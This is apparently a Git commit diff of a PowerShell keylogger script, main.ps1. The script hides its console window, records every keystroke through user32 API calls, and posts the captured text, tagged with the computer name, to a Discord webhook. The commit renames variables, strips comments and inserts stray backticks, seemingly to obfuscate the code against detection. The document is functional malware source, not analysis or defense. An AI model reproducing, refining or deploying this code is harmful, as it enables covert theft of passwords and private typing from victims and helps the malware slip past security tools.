Update main.ps1

This commit is contained in:
egieb
2025-06-20 10:33:14 +00:00
committed by GitHub
parent 26688161fb
commit d229600957
+38 -80
View File
@@ -4,6 +4,21 @@ if ($dc.Length -lt 120){
$dc = ("https://discord.com/api/webhooks/" + "$dc") $dc = ("https://discord.com/api/webhooks/" + "$dc")
} }
$defs = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
$defs = Add-Type -MemberDefinition $defs -Name 'Win32' -Namespace API -PassThru
$lastpress = [System.Diagnostics.Stopwatch]::StartNew()
$threshold = [TimeSpan]::FromSeconds(10)
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
$hwnd = (Get-Process -PID $pid).MainWindowHandle $hwnd = (Get-Process -PID $pid).MainWindowHandle
@@ -17,101 +32,44 @@ else{
$Type::ShowWindowAsync($hwnd, 0) $Type::ShowWindowAsync($hwnd, 0)
} }
<#
Ablaze On fire; brightly burning with intensity.
Banter Playful, teasing talk between close friends.
Crisp Firm, dry, and easily breakable texture.
Dapper Stylish, neat man with elegant appearance.
Elicit Draw out a response or reaction.
Fathom Understand something deeply, often abstractly.
Glimpse Quick, brief look without full details.
Havoc Widespread destruction; total chaos and disorder.
Imbue Fill or inspire with certain feelings.
Jovial Cheerful, friendly, full of good humor.
Keen Sharp, eager, or intellectually perceptive mind.
Lurk Remain hidden, waiting to spring forth.
Mirth Amusement expressed through laughter or cheerfulness.
Nimble Quick and light in movement or action.
#>
$defs = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$defs = Add-Type -MemberDefinition $defs -Name 'Win32' -Namespace API -PassThru
$LastKeypressTime = [System.Diagnostics.Stopwatch]::StartNew()
$KeypressThreshold = [TimeSpan]::FromSeconds(10)
While ($true){ While ($true){
$keyPressed = $false $ispressed = $false
try{ try{
while ($LastKeypressTime.Elapsed -lt $KeypressThreshold) { while ($lastpress.Elapsed` -lt $threshold) {
# Start the loop with 30 ms delay between keystate check Sleep -M 30
Start-Sleep -Milliseconds 30 for ($character = 8; $character` -le 254; $character++){
for ($asc = 8; $asc -le 254; $asc++){ $keyst = $defs::GetAsyncKeyState($character)
# Get the key state. (is any key currently pressed) if ($keyst -eq` -32767) {
$keyst = $defs::GetAsyncKeyState($asc) $ispressed = $true
# If a key is pressed $lastpress.Restart()
if ($keyst -eq -32767) { $null = [console]::CapsLock
# Restart the inactivity timer $virtual = $defs::MapVirtualKey($character, 3)
$keyPressed = $true $state = New-Object Byte[] 256
$LastKeypressTime.Restart() $check = $defs::GetKeyboardState($state)
$null = [console]::CapsLock $logged = New-Object -TypeName System.Text.StringBuilder
# Translate the keycode to a letter if ($defs::ToUnicode($character, $virtual, $state, $logged, $logged.Capacity, 0)) {
$vtkey = $defs::MapVirtualKey($asc, 3) $thestring = $logged.ToString()
# Get the keyboard state and create stringbuilder if ($character` -eq` 13) {$thestring` = "[ENT]"}
$kbst = New-Object Byte[] 256 if ($character` -eq` 8) {$thestring` = "[BACK]"}
$checkkbst = $defs::GetKeyboardState($kbst) if ($character` -eq` 27) {$thestring` = "[ESC]"}
$logchar = New-Object -TypeName System.Text.StringBuilder $send += $thestring
# Define the key that was pressed
if ($defs::ToUnicode($asc, $vtkey, $kbst, $logchar, $logchar.Capacity, 0)) {
# Check for non-character keys
$LString = $logchar.ToString()
if ($asc -eq 8) {$LString = "[BACK]"}
if ($asc -eq 13) {$LString = "[ENT]"}
if ($asc -eq 27) {$LString = "[ESC]"}
# Add the key to sending variable
$send += $LString
} }
} }
} }
} }
} }
finally{ finally{
If ($keyPressed) { If ($ispressed) {
# Send the saved keys to a webhook
$escmsgsys = $send -replace '[&<>]', {$args[0].Value.Replace('&', '&amp;').Replace('<', '&lt;').Replace('>', '&gt;')} $escmsgsys = $send -replace '[&<>]', {$args[0].Value.Replace('&', '&amp;').Replace('<', '&lt;').Replace('>', '&gt;')}
$timestamp = Get-Date -Format "dd-MM-yyyy HH:mm:ss" $timestamp = Get-Date -Format "dd-MM-yyyy HH:mm:ss"
$escmsg = $timestamp+" : "+'`'+$escmsgsys+'`' $escmsg = $timestamp+" : "+'`'+$escmsgsys+'`'
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsg} | ConvertTo-Json $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsg} | ConvertTo-Json
Invoke-RestMethod -Uri $dc -Method Post -ContentType "application/json" -Body $jsonsys Invoke-RestMethod -Uri $dc -Method Post -ContentType "application/json" -Body $jsonsys
#Remove log file and reset inactivity check
$send = "" $send = ""
$keyPressed = $false $ispressed = $false
} }
} }
# reset stopwatch before restarting the loop $lastpress.Restart()
$LastKeypressTime.Restart() Sleep -M 10
Start-Sleep -Milliseconds 10
} }